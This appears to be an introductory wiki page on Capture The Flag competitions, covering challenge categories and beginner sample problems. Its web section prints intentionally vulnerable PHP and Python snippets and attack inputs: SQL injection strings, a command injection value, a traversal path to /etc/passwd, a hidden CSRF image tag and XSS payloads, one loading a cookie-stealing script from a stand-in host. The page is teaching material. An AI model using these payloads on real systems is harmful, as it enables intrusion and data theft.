Capture The Flag 101

This wiki page will help you better understand the basics of CTF's.

What is Capture the Flag?

Introduction to CTF

Definition

Capture The Flag is a computer security competition. Participants are asked to solve the challenges and find the "flag" using different tools and techniques. It includes real-life cybersecurity problems and the flag itself is typically a snippet of code, a piece of hardware on a network, or perhaps a file. CTF difficulty level varies from high-school students to experts. It ranges from a scavenger hunt on Wikipedia to hacking your way into a web server.

How to Join

Joining CTF is not difficult at all. Users who want to participate can enroll by typing "Online CTF competitions" in a web browser and be met with many links to different CTF websites. You may ask, what is the entry threshold? There is no accurate answer to that, you can get more experience by either participating despite fears or watching online videos and completing different exercises.

Types of Competitions

CTF can either be a single event or an ongoing challenge. Mainly CTFs fall into two categories: Jeopardy and Attack-Defense.

• In the Attack-Defense CTFs, teams are supposed to defend their servers and services from incoming attacks of other teams. Each team starts off with an allotted time for patching and securing their computer, trying to discover as many vulnerabilities as possible before the opponent attacking teams can strike. The team with the most points wins.
• The Jeopardy-style CTFs present competitors with a set of questions that reveal clues that guide them in solving complex tasks in a specific order. By revealing clues, contestants learn the right direction regarding techniques and methodologies that are needed going forward. Teams receive points for each solved task. The more difficult the task, the more points you can earn upon its successful completion.

Types of Problems

CTF problems can be divided into six categories:

Web

This type of challenge tests a user's ability to exploit websites.

We inserted SQL Injection code into a database search and it extracted all the data. The reason why this happened is the input was non-sanitized.

Forensics

Participants are required to investigate some sort of data, such as doing packet analysis on .pcap file, memory dump analysis, and so on.

We downloaded the picture from the given link and then manipulated every substring with the word flag which was “wow!_data_is_cool”.

Cryptography

Cryptography challenges one's ability to decrypt or encrypt a file. There are many different types of cryptography such as substitution cipher, Caesar cipher, etc.

When I observed the encrypted code it looked like a hex code. Because of that, I used a hex decoder and the problem was solved.

Reversing(Reverse Engineering)

RE means exploring a binary file. The key is important and it is found by decompilation, disassemble using static or dynamic analysis, or other reverse engineering techniques.

We started by downloading the apk file and we decompiled it with apk decompiler. Then went to the manifest xml file and com.example.secondapp .. file location where we found md5 hash and then followed through the code. If it succeeds, append _is_not_secure!.

OSINT

Open Source Intelligence (OSINT) uses online tools, public records, and social media to find information about a target, usually about an individual or organization. Its main purpose is to gather information about the target and get hints.

Miscellaneous

Everything that is not listed but still relevant to the cybersecurity falls under the miscellaneous category. Many miscellaneous challenges are completely random and unprecedented, requiring simply logic, knowledge, and patience to be solved. There is no sure-fire way to prepare for these.

Types of challenges

Binary Analysis

What is "Binary Analysis"?

In general, when we talk about "binary analysis" or "binary", it mostly has a more limited meaning. In other words, they refer to "data files with an executable format" in a narrower sense. This executable format includes, for example, Windows PE (EXE file) and Linux ELF. For a simpler and more familiar image, imagine software that can be executed by double-clicking, such as a calculator or email software. These are also included in the "binary" category. In the CTF, you will frequently be asked to analyze these "binaries". This is a problem where you are given an unknown binary file, and you have to figure out how it works by using various methods. If you were given an unknown program and asked to analyze its behavior, what would you do? If the source code of the program exists, you might try to read it. The procedure for binary analysis is not much different from this basic one. First, you have to actually run the program to get a rough idea of how it works. Then read the code for the parts you want to know more about. However, there are two differences: first, we try to get more information by making use of various techniques and methods rather than just making it work, and second, we read code in a different form than source code, since source code does not exist in most cases. As mentioned earlier, even though it is binary, in reality, it is just an executable file, a program. The first thing to do is to try to run it. At that time, you cannot get more information than the standard input/output just by executing it, so it would be better if you understood that a special tool is used to get more information. In addition, just as we read the source code to understand the behavior of a program, we also read the code during binary analysis. However, since the binary code has been compiled once, you will not be reading the source code, but the assembly code obtained by a process called "disassembly". Disassembly is the process of converting machine language code into assembly language that is easy for humans to interpret. Many people think that reading assembly is difficult, but in fact, it is not so different from reading the source code.

The Significance of Analyzing Binaries

What is the significance of analyzing binaries? Of course, it is to win the CTF, but since the CTF is an information security competition, binary analysis itself should be useful for information security in some way. First of all, from the security point of view, it can be said that binary analysis is most useful for malware analysis, and many of the dynamic and static analysis techniques used in CTF binary analysis are the same as those required for malware analysis. Therefore, if you are skilled in binary analysis in CTF, you can become a malware analyst relatively easily, as long as you acquire knowledge specific to malware analysis. Binary analysis can also be used in vulnerability assessment, where you analyze software to find vulnerabilities. Other than security, binary analysis may be useful for debugging software that you have simply developed, or for maintaining software that has not been maintained sufficiently since it was created, and whose use is no longer known. As you can see, doing binary analysis has many more social implications than just enjoying CTF. Binary analysis may be a technology that is a little difficult to learn. But on the other hand, I think it is worth doing, and there are plenty of places where it can be used. If you can learn binary analysis in CTF through this book, and make use of it in your various activities, you will be more than happy.

Binary Problems in CTF

In CTFs, binary problems are one of the most frequently asked questions in almost all competitions. In many cases, the number of questions is relatively large or the score is high, so it can be said that it is one of the core areas of CTF. In addition, there is a problem area called PWN, which focuses on exploiting vulnerabilities, and having binary analysis skills is also an important factor in this area. What exactly are the binary problems in CTF? Of course, there are a great variety of forms of problems when it comes to analyzing binaries and understanding their behavior. In the simplest case, it is a matter of parsing the behavior and providing input that satisfies certain conditions; in other cases, it is a matter of recovering obfuscated FLAGs. Some of them are games, where you get FLAGs for your activity. Of course, it's getting harder to win just by playing, and most of them require you to make good use of the analysis results. There are also other problems where you are given a binary that cannot be executed, and you have to predict the result of the execution by static analysis. In addition to these, there are many other types of problems that cannot be easily described here. The name of the field of binary problems is also referred to in various ways depending on the CTF. Some CTFs use the term "Binary" directly, while others use "Reversing" or "Reverse Engineering".

Sample Problem

File and String Commands Let's take an example of a file whose file format is unknown, and check the output of the file command.

When we execute the command, we get the following output. Let's interpret the result. First of all, the PE32 executable part indicates the format of the executable file. The PE format is an executable file format used in Windows. The Intel 80386 MS Windows part indicates the supported CPU architecture and OS. We can see that they are for i386 and Windows, respectively.

Extracting strings can also increase your knowledge of the binary being analyzed. In the case of newbie CTF problems, the string extracted from the file may contain FLAGs as is. For example, if you see the string "Correct!" or "Wrong...", you can guess that there might be a correct/incorrect question in the vicinity to get the FLAG. You could have used the string command to answer the question "Can you read?" that was asked in a CTF for beginners. Let's try to explain it using this command.

Many of the strings are meaningless because they are image files. We know in advance that the flags are all in the form ctf4B{FLAG}. Let's use the grep command to extract the string starting with "ctf4b".

We've found the flag!

PWN

The meaning of "PWN"

The word "Pwn" originated from a mistype of "own" by a user in an online game, and became a slang word meaning "to win" or "to beat. In CTF, the problem of gaining server privileges by conquering a problem is called "pwn" or "pwnable".

What is "PWN"?

PWN is one of the genres of CTFs. It is a problem that exploits a vulnerability in a program to access and manipulate memory areas that are not normally accessible and obtain flags. It is also known as Exploit. The format of the problem is to connect to the server where the vulnerable program is located or running via ssh or nc and crack it. Since we cannot prepare a server for cracking this time, here is the source code of the program to be cracked. You can compile it at hand and try it. Incidentally, the Pwn problem often shows the source code of vulnerable programs.

Tool

Since Pwn is an extension of Binary Analysis, the tools used in the binary analysis are useful. GDB is one of the debuggers, and probably the most famous one. With GDB, you can refer to the values (global variables, functions, etc.) and their addresses in the global area of your program, and you can get more information than you can by running the program normally when it has segmentation faults or overflows. These are very useful in doing pwn, so I will use them in solving the problems in this article.

Sample Problem

This time, I'm referring to a problem from CTF web site called PicoCTF. PicoCTF is a CTF that is designed for beginners, and it is a great place to learn CTF. If you want to try CTF, you should definitely try it.

The source code for the problem looks like this

We can see that this program works right way if the value of secret is 0xc0deface. However, the value of secret is 0. Moreover, there is no code to rewrite it. How do I rewrite it? As the name of the problem implies, we make it overflow. In line 8, you do strcpy, which rewrites the outside of buf when the input size is larger than the size of buf. Let's actually give it a value of 16 bytes or more.

It is a good idea to put the command line arguments in a script such as Python. If you use one extra byte, it is rewritten from 0 to 41. 41 is the value as ASCII code for 'A'. In other words, you can guess that the buf variable is followed by 4 bytes of secret variable. In fact, local variables should be packed into the stack area of memory in the order in which they are declared. So, let's enter any value after 17 bytes

We have successfully obtained the flag!

Network

Packet analysis

A packet analyzer or packet sniffer is a computer program or computer hardware such as a packet capture appliance, that can intercept and log traffic that passes over a computer network or part of a network. Packet capture is the process of intercepting and logging traffic. As data streams flow across the network, the analyzer captures each packet and, if needed, decodes the packet's raw data, showing the values of various fields in the packet, and analyzes its content according to the appropriate RFC or other specifications. A program like Wireshark is a packet analyzer and within it, you can look at all of the network traffic that is passing through your device. These kinds of programs are especially useful for a type of CTF that is called Attack/Defense CTF, in which the users are allowed to attack each other's devices in an attempt to slow the opposition down or to steal flags from them. But even most regular CTF's have challenges in them that make use of packet analysis.

Network challenge example in a CTF

In magicCTF there was a challenge, which gave you a file called 'secrets.pcap'. You had to find a secret inside it. At the first glance the only thing that stood out is that there was a bunch of GET requests and only one POST request:
A GET request happens when a server provides you data and a POST request is when you post data to the server. By clicking on the packet you can see what kind of information was sent within the packet and in this case, there was an HTML form, in which the user had posted their username and password to the server.

As it turns out the password was the secret that you were looking for in this challenge.

Steganography

What is steganography?

Steganography is the art of hiding information in ways that prevent the detection of hidden messages. Steganography, derived from Greek, literally means “covered writing.” It includes a vast array of secret communications methods that conceal the message's very existence. These methods include invisible inks, microdots, character arrangement, digital signatures, covert channels, and spread spectrum communications.

The least significant bit (LSB) insertion is a common, simple approach to embedding information in a cover file. Unfortunately, it is vulnerable to even a slight image manipulation. Converting an image from a format like GIF or BMP, which reconstructs the original message exactly (lossless compression) to a JPEG, which does not (lossy compression), and then back could destroy the information hidden in the LSBs. LSB works by changing the very last bit of a byte in a pixel. In a 24 bit image, each pixel represents 3 bytes and by changing the last bit of those bytes you create a very insignificant change in the image itself. Since the change is so small if you compare the modified image with the original one the human eye can not tell the difference. However, the modified file can be later decoded by a computer in order to reveal the hidden message. In Bit Plane Complexity Segmentation (BPCS), a multi-valued image (P) consisting of n-bit pixels can be decomposed into set of n – binary pictures. Ordinary image data is represented by a pure binary code system which is commonly used in image processing. The important step in BPCS steganography is to find a "complex" region in the vessel image so that data from secret image can be hidden without any suspicion. By finding the most complex part of the image the deterioration of the original image becomes even less significant than in the least significant bit insertion. A spectrogram is a photograph, image, or a diagram of a spectrum Messages can be inserted on top of a spectrogram of a normal audio file, and with minor tweaks and adjustments it is very hard if not impossible to tell the difference between the original file and a modified one. The only way to find out whether something is hidden in a file is to look at the file's spectrogram.

Common steganography challenges in CTF's

Two examples from https://ctfp.ee/, an Estonian CTF competition. One of the challenges called 'music' you had to find the flag in a file called "find_key_in_wav_file.wav". A way to hide messages in music files is by modifying the spectrogram, so if you were to open the file in a program that can view the spectrograms of sound files then you could see that a hidden message was embedded into the file.

Normal waveform of the file: Spectrogram of the file:

The hidden message can be fairly easily read from the spectrogram.

The second example is from a challenge called 'the blackhole' the usage of bit planes in steganography.

Normal picture: Bit plane version of the picture:

A QR code appears from the image seemingly out of nowhere.

Web

The web category covers any sort of web-based vulnerabilities and exploits used in CTF. This includes different forms of injection, directory traversal, cross-site scripting (XSS), cross-site request forgery (CSRF), and so on.

SQL Injection

SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.

   <?php
       $username = $_GET['username'];
       $result = mysql_query("SELECT * FROM users WHERE username='$username'");
   ?>

If we look at the $username variable, under normal operation we might expect the username parameter to be a real username. But a malicious user might submit a different kind of data. For example, consider if the input was '? The application would crash because the resulting SQL query is incorrect.

   SELECT * FROM users WHERE username='''

Notice the extra single quote at the end.
With the knowledge that a single quote will cause an error in the application, we can expand a little more on SQL Injection. What if our input was ' OR 1=1?

   SELECT * FROM users WHERE username='' OR 1=1

1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying:

   SELECT * FROM users WHERE username='' OR true

This will return every row in the table because each row that exists must be true. We can also inject comments and termination characters like -- or /* or ;. This allows you to terminate SQL queries after your injected statements. For example '-- is a common SQL injection payload.

   SELECT * FROM users WHERE username=''-- '

This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--) that effectively hides the second single quote. Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.

Command Injection

Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system() command or its equivalent in the programming language of the application.

   import os
   domain = user_input() # ctf101.org
   os.system('ping ' + domain)

The above code when used normally will ping the ctf101.org domain. But consider what would happen if the user_input() function returned different data?

   import os
   domain = user_input() # ; ls
   os.system('ping ' + domain)

Because of the additional semicolon, the os.system() function is instructed to run two commands. It looks to the program as:

   ping ; ls

Because the ping command is being terminated and the ls command is being added on, the ls command will be run in addition to the empty ping command! This is the core concept behind command injection. The ls command could of course be switched with another command (e.g. wget, curl, bash, etc.) Command injection is a very common means of privilege escalation within web applications and applications that interface with system commands.

Directory Traversal

Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path. Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal. For example, consider an application that allows the user to choose what page to load from a GET parameter.

   <?php
       $page = $_GET['page']; // index.php
       include("/var/www/html/" . $page);
   ?>

Under normal operation, the page would be index.php. But what if a malicious user gave in something different?

   <?php
       $page = $_GET['page']; // ../../../../../../../../etc/passwd
       include("/var/www/html/" . $page);
   ?>

Here the user is submitting ../../../../../../../../etc/passwd. This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.

   include("/var/www/html/../../../../../../../../etc/passwd");

Ultimately this will become /etc/passwd because the computer will not go a directory above its top directory. Thus the application will load the /etc/passwd file and emit it to the user.
This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.

Cross-Site Request Forgery (CSRF)

A Cross-Site Request Forgery or CSRF Attack, pronounced see surf, is an attack on an authenticated user which uses a state session in order to perform state-changing attacks like a purchase, a transfer of funds, or a change of email address.The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through an <img> tag or an <iframe> where references to external resources are unverified. GET requests are often used by websites to get user input. Say a user signs in to a banking site that assigns their browser a cookie that keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:

   http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]

Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:

   <img src="http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]" width="0" height="0" border="0">

Cross-Site Scripting (XSS)

Cross-Site Scripting or XSS is a vulnerability where one user of an application can send JavaScript that is executed by the browser of another user of the same application. This is a vulnerability because JavaScript has a high degree of control over a user's web browser.
XSS is typically broken down into three categories:

1. Reflected XSS
2. Stored XSS
3. DOM XSS

Reflected XSS

Reflected XSS (non-persistent or type II) is when an XSS exploit is provided through a URL parameter.

   https://ctf101.org?data=<script>alert(1)</script>

You can see the XSS exploit provided in the data GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.

   <html>
       <body>
           <script>alert(1)</script>
       </body>
   </html>

Depending on where the exploit gets injected, it may need to be constructed differently. Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit them to an external server, or to simply modify the page to deface it.

Stored XSS

In stored XSS (persistent or type I), the exploit is provided from the website itself. For example, while browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be embedded in the site’s comments section. The embedded tags become a permanent feature of the page, causing the browser to parse them with the rest of the source code every time the page is opened. The attacker adds the following comment: Great price for a great item! Read my review here <script src="http://hackersite.com/authstealer.js"> </script>. From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site and has the ability to steal visitors’ session cookies. The website itself will serve up the XSS payload to other users.

DOM XSS

DOM Based XSS (type-0) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM environment in the victim’s browser used by the original client-side script, so that the client-side code runs in an unexpected manner. That is, the page itself does not change, but the client-side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. The server itself is not to blame, but the client-side JavaScript files are causing the issue.